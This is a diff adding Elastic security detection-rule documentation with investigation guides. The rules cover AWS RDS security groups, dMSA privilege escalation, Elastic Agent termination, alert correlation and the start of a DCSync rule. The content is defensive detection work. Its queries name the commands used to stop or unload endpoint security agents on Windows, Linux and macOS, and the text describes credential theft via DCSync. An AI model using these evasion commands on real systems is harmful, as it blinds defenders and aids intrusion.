@@ -0,0 +1,121 @@
+[[prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-creation]]
+=== Deprecated - AWS RDS Security Group Creation
+
+Identifies the creation of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting RDS in VPC-based deployments.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_CreateDBSecurityGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Tactic: Persistence
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Security Group Creation*
+
+
+Amazon RDS Security Groups control access to RDS instances, acting as virtual firewalls. Adversaries may exploit this by creating unauthorized security groups to maintain persistence or exfiltrate data. The detection rule monitors successful creation events of RDS security groups, flagging potential misuse by correlating specific AWS CloudTrail logs, thus aiding in identifying unauthorized access attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the AWS CloudTrail logs for the event.action:CreateDBSecurityGroup to identify the user or role responsible for the creation of the RDS security group.
+- Check the event.provider:rds.amazonaws.com logs to gather additional context about the RDS instance associated with the newly created security group.
+- Investigate the event.outcome:success logs to confirm the successful creation and assess if it aligns with expected administrative activities.
+- Analyze the associated AWS account and user activity to determine if there are any anomalies or unauthorized access patterns.
+- Cross-reference the security group details with existing security policies to ensure compliance and identify any deviations.
+- Evaluate the permissions and rules associated with the new security group to assess potential risks or exposure to sensitive data.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks may trigger the rule when authorized personnel create new RDS security groups for legitimate purposes. To manage this, establish a list of known IP addresses or user accounts that frequently perform these tasks and create exceptions for them.
+- Automated deployment tools or scripts that create RDS security groups as part of infrastructure provisioning can lead to false positives. Identify these tools and their associated accounts, then configure the rule to exclude these specific actions.
+- Scheduled maintenance or updates that involve creating new security groups might be flagged. Document these scheduled activities and adjust the rule to recognize and exclude them during the specified time frames.
+- Testing environments where security groups are frequently created and deleted for development purposes can generate alerts. Implement tagging or naming conventions for test environments and exclude these from the rule's scope.
+
+
+*Response and remediation*
+
+
+- Immediately review the AWS CloudTrail logs to confirm the unauthorized creation of the RDS security group and identify the source IP and user account involved in the action.
+- Revoke any unauthorized security group rules associated with the newly created RDS security group to prevent further unauthorized access or data exfiltration.
+- Temporarily disable or delete the unauthorized RDS security group to contain the threat and prevent persistence.
+- Conduct a thorough audit of all AWS IAM roles and permissions to ensure that only authorized users have the ability to create or modify RDS security groups.
+- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been compromised.
+- Implement additional monitoring and alerting for any future RDS security group creation events to quickly detect and respond to similar threats.
+- Review and update AWS security policies and access controls to prevent unauthorized security group creation, ensuring alignment with best practices for least privilege.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:CreateDBSecurityGroup and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Create Account
+** ID: T1136
+** Reference URL: https://attack.mitre.org/techniques/T1136/
+* Sub-technique:
+** Name: Cloud Account
+** ID: T1136.003
+** Reference URL: https://attack.mitre.org/techniques/T1136/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-deletion.asciidoc
new file mode 100644
index 0000000000..f2cc3ac18d
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-deletion.asciidoc
@@ -0,0 +1,116 @@
+[[prebuilt-rule-8-19-11-deprecated-aws-rds-security-group-deletion]]
+=== Deprecated - AWS RDS Security Group Deletion
+
+Identifies the deletion of an Amazon Relational Database Service (RDS) Security group. Modern RDS deployments run in a VPC and use standard EC2 security groups instead. This rule should be retained only for historical log analysis on legacy CloudTrail data. We recommend relying on "AWS EC2 Security Group Configuration Change" rule for network-control changes impacting RDS in VPC-based deployments.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* filebeat-*
+* logs-aws.cloudtrail-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.aws.amazon.com/AmazonRDS/latest/APIReference/API_DeleteDBSecurityGroup.html
+
+*Tags*: 
+
+* Domain: Cloud
+* Data Source: AWS
+* Data Source: Amazon Web Services
+* Data Source: AWS RDS
+* Tactic: Impact
+* Resources: Investigation Guide
+
+*Version*: 210
+
+*Rule authors*: 
+
+* Elastic
+* Austin Songer
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Deprecated - AWS RDS Security Group Deletion*
+
+
+Amazon RDS Security Groups control access to RDS instances, acting as a virtual firewall. Adversaries may delete these groups to disrupt database access or cover their tracks. The detection rule monitors AWS CloudTrail logs for successful deletion events of RDS Security Groups, signaling potential unauthorized activity. This helps security analysts quickly identify and respond to suspicious deletions.
+
+
+*Possible investigation steps*
+
+
+- Review the AWS CloudTrail logs to confirm the event details, focusing on the event.provider:rds.amazonaws.com and event.action:DeleteDBSecurityGroup fields to ensure the deletion event is accurately captured.
+- Identify the user or role associated with the event by examining the user identity information in the CloudTrail logs to determine if the action was performed by an authorized entity.
+- Check the event time and correlate it with other security events or alerts to identify any suspicious activity patterns or sequences that might indicate a broader attack.
+- Investigate the context of the deletion by reviewing recent changes or activities in the AWS account, such as modifications to IAM policies or unusual login attempts, to assess if the deletion is part of a larger unauthorized access attempt.
+- Contact the relevant database or cloud infrastructure team to verify if the deletion was intentional and authorized, ensuring that it aligns with any ongoing maintenance or decommissioning activities.
+
+
+*False positive analysis*
+
+
+- Routine maintenance activities by authorized personnel may trigger the rule. To manage this, create exceptions for known maintenance windows or specific user accounts that regularly perform these tasks.
+- Automated scripts or tools used for infrastructure management might delete security groups as part of their normal operation. Identify these scripts and exclude their actions from triggering alerts by using specific identifiers or tags.
+- Changes in security group configurations during scheduled updates or migrations can result in deletions. Document these events and adjust the detection rule to ignore deletions during these planned activities.
+- Testing environments often involve frequent creation and deletion of resources, including security groups. Exclude these environments from monitoring by using environment-specific tags or identifiers.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected RDS instance by modifying its security group settings to restrict all inbound and outbound traffic, preventing further unauthorized access.
+- Review AWS CloudTrail logs to identify the source of the deletion request, including the IAM user or role involved, and assess whether the credentials have been compromised.
+- Recreate the deleted RDS Security Group with the appropriate rules and reassign it to the affected RDS instance to restore normal operations.
+- Conduct a thorough audit of IAM permissions to ensure that only authorized personnel have the ability to delete RDS Security Groups, and revoke any unnecessary permissions.
+- Implement multi-factor authentication (MFA) for all IAM users with permissions to modify RDS Security Groups to enhance security and prevent unauthorized changes.
+- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected.
+- Update incident response plans and security policies based on the findings to prevent similar incidents in the future and improve overall cloud security posture.
+
+==== Setup
+
+
+The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.dataset:aws.cloudtrail and event.provider:rds.amazonaws.com and event.action:DeleteDBSecurityGroup and event.outcome:success
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Impact
+** ID: TA0040
+** Reference URL: https://attack.mitre.org/tactics/TA0040/
+* Technique:
+** Name: Account Access Removal
+** ID: T1531
+** Reference URL: https://attack.mitre.org/techniques/T1531/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-dmsa-account-creation-by-an-unusual-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-dmsa-account-creation-by-an-unusual-user.asciidoc
new file mode 100644
index 0000000000..6cf4ce4205
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-dmsa-account-creation-by-an-unusual-user.asciidoc
@@ -0,0 +1,109 @@
+[[prebuilt-rule-8-19-11-dmsa-account-creation-by-an-unusual-user]]
+=== dMSA Account Creation by an Unusual User
+
+Detects the creation of a delegated Managed Service Account by an unusual subject account. Attackers can abuse the dMSA account migration feature to elevate privileges abusing weak persmission allowing users child objects rights or msDS-DelegatedManagedServiceAccount rights.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Privilege Escalation
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating dMSA Account Creation by an Unusual User*
+
+
+
+*Possible investigation steps*
+
+- Examine the winlog.event_data.SubjectUserName field and verify if he is allowed and used to create dMSA accounts.
+- Examine all Active Directory modifications performed by the winlog.event_data.SubjectUserName.
+- Investigate the history of the identified user account to determine if there are any other suspicious activities or patterns of behavior.
+- Collaborate with the IT or security team to determine if the changes were authorized or if further action is needed to secure the environment.
+
+
+*False positive analysis*
+
+
+- Migration of legacy service accounts using delegated managed service account.
+
+
+*Response and remediation*
+
+
+- Immediately disable the winlog.event_data.SubjectUserName account and revert all changes performed by that account.
+- Identify and isolate the source machines from where the SubjectUserName is authenticating.
+- Reset passwords for all accounts that were potentially affected or had their permissions altered, focusing on privileged accounts to prevent adversaries from regaining access.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach, including identifying any other compromised systems or accounts.
+- Review and update access control policies and security configurations to prevent similar attacks, ensuring that only authorized personnel have the ability to modify critical Active Directory objects or create OU child objects.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:5137 and host.os.type:"windows" and winlog.event_data.ObjectClass:"msDS-DelegatedManagedServiceAccount"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Domain Accounts
+** ID: T1078.002
+** Reference URL: https://attack.mitre.org/techniques/T1078/002/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-agent-service-terminated.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-agent-service-terminated.asciidoc
new file mode 100644
index 0000000000..f9a861c2c0
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-agent-service-terminated.asciidoc
@@ -0,0 +1,148 @@
+[[prebuilt-rule-8-19-11-elastic-agent-service-terminated]]
+=== Elastic Agent Service Terminated
+
+Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* OS: Windows
+* OS: macOS
+* Use Case: Threat Detection
+* Tactic: Defense Evasion
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 111
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Elastic Agent Service Terminated*
+
+
+The Elastic Agent is a crucial component for monitoring and securing endpoints across various operating systems. It ensures continuous security oversight by collecting and analyzing data. Adversaries may attempt to disable this agent to evade detection, compromising system defenses. The detection rule identifies suspicious termination activities by monitoring specific processes and commands across Windows, Linux, and macOS, flagging potential defense evasion attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs to identify the exact process and command used to terminate the Elastic Agent, focusing on the process names and arguments such as "net.exe", "sc.exe", "systemctl", and "pkill" with arguments like "stop", "uninstall", or "disable".
+- Check the timeline of events around the termination to identify any preceding suspicious activities or anomalies that might indicate an adversary's presence or actions.
+- Investigate the user account associated with the process termination to determine if it was authorized or if there are signs of account compromise.
+- Examine the host for any other signs of tampering or compromise, such as unauthorized changes to system configurations or the presence of other malicious processes.
+- Verify the current status of the Elastic Agent on the affected host and attempt to restart it if it is not running, ensuring that security monitoring is restored.
+- Correlate this event with other alerts or logs from the same host or network to identify potential patterns or coordinated attack activities.
+
+
+*False positive analysis*
+
+
+- Routine maintenance activities may trigger the rule if administrators use commands like systemctl or service to stop the Elastic Agent for updates or configuration changes. To manage this, create exceptions for known maintenance windows or authorized personnel.
+- Automated scripts or deployment tools that temporarily disable the Elastic Agent during software installations or updates can cause false positives. Identify these scripts and whitelist their execution paths or specific arguments.
+- Testing environments where Elastic Agent is frequently started and stopped for development purposes might generate alerts. Exclude these environments by specifying their hostnames or IP addresses in the rule exceptions.
+- Security tools or processes that interact with the Elastic Agent, such as backup solutions or system monitoring tools, might inadvertently stop the service. Review these interactions and adjust the rule to ignore specific process names or arguments associated with these tools.
+- User-initiated actions, such as troubleshooting or system performance optimization, may involve stopping the Elastic Agent. Educate users on the impact of these actions and establish a protocol for notifying the security team when such actions are necessary.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected host from the network to prevent further unauthorized access or potential lateral movement by adversaries.
+- Verify the status of the Elastic Agent on the affected host and attempt to restart the service. If the service fails to restart, investigate potential causes such as corrupted files or missing dependencies.
+- Conduct a thorough review of recent process execution logs on the affected host to identify any unauthorized or suspicious activities that may have led to the termination of the Elastic Agent.
+- If malicious activity is confirmed, perform a comprehensive malware scan and remove any identified threats. Ensure that the host is clean before reconnecting it to the network.
+- Review and update endpoint security configurations to prevent unauthorized termination of security services. This may include implementing stricter access controls or using application whitelisting.
+- Escalate the incident to the security operations team for further analysis and to determine if additional hosts are affected or if there is a broader security incident underway.
+- Document the incident, including all actions taken and findings, to enhance future response efforts and update incident response plans as necessary.
+
+==== Setup
+
+
+
+*Setup*
+
+
+If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2,
+events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2.
+Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate
+`event.ingested` to @timestamp.
+For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+process where
+/* net, sc or wmic stopping or deleting Elastic Agent on Windows */
+(event.type == "start" and
+  process.name : ("net.exe", "sc.exe", "wmic.exe","powershell.exe","taskkill.exe","PsKill.exe","ProcessHacker.exe") and
+  process.args : ("stopservice","uninstall", "stop", "disabled","Stop-Process","terminate","suspend") and
+  process.args : ("elasticendpoint", "Elastic Agent","elastic-agent","elastic-endpoint"))
+or
+/* service or systemctl used to stop Elastic Agent on Linux */
+(event.type == "end" and
+  (process.name in ("systemctl", "service", "chkconfig", "update-rc.d") and
+    process.args : ("elastic-agent", "elastic-agent.service") and
+    process.args : ("stop", "disable", "remove", "off", "kill", "mask"))
+  or
+  /* pkill , killall used to stop Elastic Agent on Linux */
+  ( event.type == "end" and process.name in ("pkill", "killall", "kill") and process.args: "elastic-agent")
+  or
+  /* Unload Elastic Agent extension on MacOS */
+  (process.name : "kextunload" and
+    process.args : "com.apple.iokit.EndpointSecurity" and
+    event.action : "end"))
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Defense Evasion
+** ID: TA0005
+** Reference URL: https://attack.mitre.org/tactics/TA0005/
+* Technique:
+** Name: Impair Defenses
+** ID: T1562
+** Reference URL: https://attack.mitre.org/techniques/T1562/
+* Sub-technique:
+** Name: Disable or Modify Tools
+** ID: T1562.001
+** Reference URL: https://attack.mitre.org/techniques/T1562/001/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-defend-and-email-alerts-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-defend-and-email-alerts-correlation.asciidoc
new file mode 100644
index 0000000000..0285de182d
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-defend-and-email-alerts-correlation.asciidoc
@@ -0,0 +1,110 @@
+[[prebuilt-rule-8-19-11-elastic-defend-and-email-alerts-correlation]]
+=== Elastic Defend and Email Alerts Correlation
+
+This rule correlates any Elastic Defend alert with an email security related alert by target user name. This may indicate the successful execution of a phishing attack.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 45m
+
+*Searches indices from*: now-1h ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Rule Type: Higher-Order Rule
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+* Domain: Email
+* Domain: Endpoint
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+*Investigating Elastic Defend and Email Alerts Correlation*
+
+
+This rule correlates any Elastic Defend alert with an email security related alert by target user name.
+
+
+*Possible investigation steps*
+
+- Review the alert details to identify the specific host and users involved.
+- Investigate the individual alerts for the target user name and see if they are related.
+- Review all emails received from Esql.source_user_name and if there are other impacted users.
+- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.
+- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.
+
+
+*False positive analysis*
+
+- Legitimate email marked as suspicious.
+- Legitimate file or behavior marked as suspicious by Elastic Defend.
+- Unrelated alerts where the target user name is too generic.
+
+
+*Response and remediation*
+
+- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.
+- Conduct a thorough forensic analysis of the host.
+- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.
+- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.
+- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.
+- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-* metadata _id
+// Email or Elastic Defend alerts where user name is populated
+| where
+  (event.category == "email" and event.kind == "alert" and destination.user.name is not null) or
+  (event.module == "endpoint" and event.dataset == "endpoint.alerts" and user.name is not null)
+
+// extract target user name from email and endpoint alerts
+| eval email_alert_target_user_name = CASE(event.category == "email", destination.user.name, null),
+       elastic_defend_alert_user_name = CASE(event.module == "endpoint" and event.dataset == "endpoint.alerts", user.name, null)
+| eval Esql.target_user_name = COALESCE(email_alert_target_user_name, elastic_defend_alert_user_name)
+| where Esql.target_user_name is not null
+
+// group by Esql.target_user_name
+| stats Esql.alerts_count = COUNT(*),
+        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
+        Esql.event_module_values = VALUES(event.module),
+        Esql.message_values = VALUES(message),
+        Esql.event_action_values = VALUES(event.action),
+        Esql.process_executable_values = VALUES(process.executable),
+        Esql.host_id_values = VALUES(host.id),
+        Esql.source_user_name = VALUES(source.user.name),
+        Esql.rule_name_values = VALUES(rule.name)
+        by Esql.target_user_name
+// alert when same user is observed in an endpoint and email alert
+| where Esql.event_module_distinct_count >= 2
+| keep Esql.alerts_count, Esql.event_module_values, Esql.host_id_values, Esql.source_user_name, Esql.target_user_name, Esql.message_values, Esql.rule_name_values, Esql.event_action_values
+
+----------------------------------
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-defend-and-network-security-alerts-correlation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-defend-and-network-security-alerts-correlation.asciidoc
new file mode 100644
index 0000000000..bec2d1434a
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-elastic-defend-and-network-security-alerts-correlation.asciidoc
@@ -0,0 +1,128 @@
+[[prebuilt-rule-8-19-11-elastic-defend-and-network-security-alerts-correlation]]
+=== Elastic Defend and Network Security Alerts Correlation
+
+This rule correlate any Elastic Defend alert with a set of suspicious events from Network security devices like Palo Alto Networks (PANW) and Fortinet Fortigate by host.ip and source.ip. This may indicate that this host is compromised and triggering multi-datasource alerts.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 10m
+
+*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Use Case: Threat Detection
+* Rule Type: Higher-Order Rule
+* Resources: Investigation Guide
+* Data Source: Elastic Defend
+* Data Source: Fortinet
+* Data Source: PAN-OS
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Elastic Defend and Network Security Alerts Correlation*
+
+
+This rule correlate any Elastic Defend alert with suspicious events from Network Security datasources like Palo Alto Networks (PANW), Fortinet Fortigate and Suricata by host.ip and source.ip.
+
+
+*Possible investigation steps*
+
+
+- Review the alert details to identify the specific host and users involved.
+- Investiguate the network alerts by destination.ip and message.
+- Examine the timeline of the alerts to understand the sequence of events and determine if there is a pattern or progression in the tactics used.
+- Correlate the alert data with other logs and telemetry from the host, such as process creation, network connections, and file modifications, to gather additional context.
+- Check for any indicators of compromise (IOCs) associated with the alerts, such as suspicious IP addresses, domains, or file hashes, and search for these across the network.
+- Assess the impact and scope of the potential compromise by determining if other hosts or systems have similar alerts or related activity.
+
+
+*False positive analysis*
+
+
+- IP address ranges overlap where the host.ip value from the Elastic Defend alert is unrelated to the source.ip value from the Network Security alert.
+- Alerts from routine administrative tasks may trigger multiple alerts. Review and exclude known benign activities such as scheduled software updates or system maintenance.
+- Security tools running on the host might generate alerts across different tactics. Identify and exclude alerts from trusted security applications to reduce noise.
+- Automated scripts or batch processes can mimic adversarial behavior. Analyze and whitelist these processes if they are verified as non-threatening.
+- Frequent alerts from development or testing environments can be misleading. Consider excluding these environments from the rule or applying a different risk score.
+- User behavior anomalies, such as accessing multiple systems or applications, might trigger alerts. Implement user behavior baselines to differentiate between normal and suspicious activities.
+
+
+*Response and remediation*
+
+
+- Isolate the affected host from the network immediately to prevent further lateral movement by the adversary.
+- Conduct a thorough forensic analysis of the host to identify the specific vulnerabilities exploited and gather evidence of the attack phases involved.
+- Remove any identified malicious software or unauthorized access tools from the host, ensuring all persistence mechanisms are eradicated.
+- Apply security patches and updates to the host to address any exploited vulnerabilities and prevent similar attacks.
+- Restore the host from a known good backup if necessary, ensuring that the backup is free from compromise.
+- Monitor the host and network for any signs of re-infection or further suspicious activity, using enhanced logging and alerting based on the identified attack patterns.
+- Escalate the incident to the appropriate internal or external cybersecurity teams for further investigation and potential legal action if the attack is part of a larger campaign.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+FROM logs-* metadata _id
+| WHERE
+        // Elastic Defend Alerts
+        (event.module == "endpoint" and event.dataset == "endpoint.alerts") or
+
+        // PANW suspicious events
+        (event.dataset == "panw.panos" and
+         event.action in ("virus_detected", "wildfire_virus_detected", "c2_communication", "spyware_detected", "large_upload", "denied", "exploit_detected")) or
+
+        // Fortigate suspicious events
+        (event.dataset == "fortinet_fortigate.log" and
+         (event.action in ("outbreak-prevention", "deny", "infected", "blocked") or message like "backdoor*" or message like "Proxy*" or message like "anomaly*" or message like "P2P*" or message like "misc*" or message like "DNS.Over.HTTPS" or message like "Remote.Access")) or
+
+        // Suricata
+        (event.dataset == "suricata.eve" and message in ("Command and Control Traffic", "Potentially Bad Traffic", "A Network Trojan was detected", "Detection of a Network Scan", "Domain Observed Used for C2 Detected", "Malware Command and Control Activity Detected"))
+
+// extract source.ip from PANW or Fortigate events and host.ip from Elastic Defend alert
+|eval fw_alert_source_ip = CASE(event.dataset in ("panw.panos", "fortinet_fortigate.log"), source.ip, null),
+      elastic_defend_alert_host_ip = CASE(event.module == "endpoint" and event.dataset == "endpoint.alerts", host.ip, null)
+| eval Esql.source_ip = COALESCE(fw_alert_source_ip, elastic_defend_alert_host_ip)
+| where Esql.source_ip is not null
+
+// group by host_source_ip shared between FG/PANW and Elastic Defend
+| stats Esql.alerts_count = COUNT(*),
+        Esql.event_module_distinct_count = COUNT_DISTINCT(event.module),
+        Esql.event_module_values = VALUES(event.module),
+        Esql.message_values = VALUES(message),
+        Esql.event_action_values = VALUES(event.action),
+        Esql.process_executable_values = VALUES(process.executable),
+        Esql.host_id_values = VALUES(host.id),
+        Esql.user_name_values = VALUES(user.name),
+        Esql.destination_ip_values = VALUES(destination.ip)
+        by Esql.source_ip
+| where Esql.event_module_distinct_count >= 2
+| keep Esql.alerts_count, Esql.source_ip, Esql.destination_ip_values, Esql.host_id_values, Esql.user_name_values, Esql.event_module_values, Esql.message_values, Esql.process_executable_values
+
+----------------------------------
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-firsttime-seen-account-performing-dcsync.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-firsttime-seen-account-performing-dcsync.asciidoc
new file mode 100644
index 0000000000..29965f3ab7
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-firsttime-seen-account-performing-dcsync.asciidoc
@@ -0,0 +1,166 @@
+[[prebuilt-rule-8-19-11-firsttime-seen-account-performing-dcsync]]
+=== FirstTime Seen Account Performing DCSync
+
+This rule identifies when a User Account starts the Active Directory Replication Process for the first time. Attackers can use the DCSync technique to get credential information of individual accounts or the entire domain, thus compromising the entire domain.
+
+*Rule type*: new_terms
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://threathunterplaybook.com/notebooks/windows/06_credential_access/WIN-180815210510.html
+* https://threathunterplaybook.com/library/windows/active_directory_replication.html?highlight=dcsync#directory-replication-services-auditing
+* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_ad_replication_non_machine_account.yml
